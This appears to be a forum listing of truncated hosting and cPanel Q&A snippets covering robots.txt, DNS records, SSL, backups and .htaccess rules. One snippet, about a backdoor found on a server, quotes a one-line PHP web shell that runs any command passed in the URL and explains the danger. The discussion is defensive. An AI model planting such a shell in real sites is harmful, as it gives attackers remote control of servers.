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Should the "admin-ajax.php " file in my WordPress site be allow or disallowed in robots.txt?
This file is often used front-end by themes and plugins.
It was changed in WordPress robots.txt file a couple of years ago to allow crawling for this reason, after an issue with google being unable to ...
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Domain names mirroring my domain except for small details
There are a couple things you can do about it:
Add canonical tags to every page on your site. For example one of the pages on your site should have this tag in the <head> section:
<link rel=...
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cPanel doesn't recognize IPv6 address in MySQLRemote
The address you have mentioned is an IPv6 address. It was introduced as a solution to the rapidly dwindling supply of IPv4 address. It has the potential to allow for 3.4×10^38 (that is 34 followed by ...
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Backdoor exploit - could they have downloaded files from server?
<?php $str = $_GET['cmd']; system($str); ?>
This potentially allows the attacker to pretty much do/execute anything on your system by passing an arbitrary command in the URL query string! So, ...
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.htaccess to WWW And/Or HTTPS
all of them have redirected
http://sub.example.com To https://www.sub.example.com
That would seem to suggest that you have a rule that simply checks for the absence of www (which is correct for the ...
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Unable to download large zipped file of cPanel full backup (Chrome download restarts download )
You can find or change the location of backups in cpanel's Configure Backup Directory section of Backup Configuration interface Home > Backup > Backup Configuration
Once you know the location ...
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Creating an A record and then a CNAME to point a subdomain to a different server gives an error message
A and CNAME both are types of DNS records, that can be applied to a domain name.
But they are mutually exclusive:[1]
A resolves a domain name query to an IP address,
CNAME resolves it to an other ...
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Comodo SSL Certificate showing as invalid on Android Devices
Simply, the problem here is that the certificate chains up to COMODO RSA Certificate Autority at the root, not to AddTrustExternalCARoot.
Android devices do not have the COMODO RSA Certificate ...
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Visiting website without nameservers
cPanel can do this by going to the following url:
http://[ip-address]/~[cPanel-username]
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What are PHP extensions?
The simple answer is that most of the PHP functionallity is in the basic setup and you probally don't need to worry about this.
But, extensions are exactly as they sound like, they extend PHP ...
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What is `wp-cli.yml` for in the public_html folder?
It is used by wp-cli, the command line interface for WordPress.
The wp-cli.yml is where you set configuration values, related to your website, for wp-cli.php to use.
https://make.wordpress.org/cli/...
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Website backup file size differs on server vs when downloaded via FTP
It isn't a virus or some sort of FTP compression.
It could be a couple of things going on:
For example, if the server is running Linux and your desktop is running Windows it is likely that your ...
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Domain names mirroring my domain except for small details
It isn't dangerous. Looking at DNS, both those domains are hosted through cloudflare, so it likely a misconfiguration there.
If it bothers you it is possible to stop them displaying your content. ...
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Are domain cPanel and hosting cPanel different?
I think what you may be referring to is a "master cPanel" where you can view all of your individual cPanel accounts as well as do some more specific things to your web server. This is known as WHM (...
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WordPress security checklists on cPanel
Your installation is ok as per your given directory path, To secure WordPress site/blog, you should follow these steps :
Make sure you are using latest WordPress version, update it time by time when ...
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Unable to locate phishing URL in CPanel file manager
These files were never on your account, they were hosted on another account on the same (shared) server with username "impots".
On many shared Apache servers you can access your account's files by a ...
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Uploading a website when FTP ports are banned
Most panels have a File Manager feature that will allow you to upload, download and edit any file on your server. It is very much like a web based FTP client. I know for sure cPanel and Plesk have ...
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How to access root directory folder from public_html folder through the web using cPanel?
If you want something to be accessible publicly on the web, you should put it in the public_html folder. You can create folders within public_html as well.
There is no functionality in cPanel for ...
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Why is my partial home directory backup is bigger than my full backup?
It sounds like the partial backup is compressing something that the full backup is not, to address the issue you need to find out the difference between both files.
It's likely the partial backup is ...
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Why is my partial home directory backup is bigger than my full backup?
It's because when you request a Full Backup, your "Full Backup archive" gets saved into your home directory. So when you then download the "Home Directory" it downloads the home ...
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Can I upgrade my cPanel or File Manager on Shared Hosting?
It's simple... you can't... talk to hostgator since you don't have root and its them your paying.
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Paper Lantern Theme Changed for Newly Transferred cPanel Account
the "Paper Lantern" theme for this one new account looks like an old X3 theme.
It sounds like you are seeing the "Retro" style of the "Paper Lantern" theme. (This does look very similar to the ...
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Is it possible to bookmark specific URLs within cPanel?
I've had no problem doing this, providing the session variable is taken out of the bookmarked URL.
It takes me to the login page and then immediately to the page I had bookmarked.
I've frequently ...
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Can I delete .ftpquota file on server or not
.ftpquota is a file used by your FTP deamon on the server, if you want it deleted, you need to disable the FTP server running on your hosting.
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What exactly should I backup in a WordPress site?
wp-content and your databases is almost enough. I would also include wp-config.php
But take note that sometimes just restoring everything doesn't always work. It should, I can't explain why it ...
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How to delete a DNS record in WHM/cPanel "Edit DNS Zone" page?
Empty all the text fields for the record
Change the Record Type back to "Select"
Click Save at the bottom of the page
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Shared Hosting Plans With Cpanel Duplicating Websites On Subdomains
I assume you are using cPanel's Addon domains? These indeed must point to a subdomain.
it's a default behavior for shared hosting with Cpanel
Yes, it's default behaviour.
Do you think Google ...
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How to deal with URLs that has been hotlinked?
To stop hotlinking you can add the following to your .htaccess file. Replace example.com on line 3 with your own domain name. Also add or remove any file extensions on line 4
RewriteEngine on
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Did I just stop my caching issue?
Yes, this will cause clients to re-download when the asset has expired a minute later. This runs under the assumption you've switched e-tags off (see below).
The downside is people are now burning up ...
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Where to install WHMCS
You can install WHMCS anywhere. There is no 'best place'. In terms of security, you may want to segregate your other services (such as DNS and email) that are often provisioned with a control panel, ...
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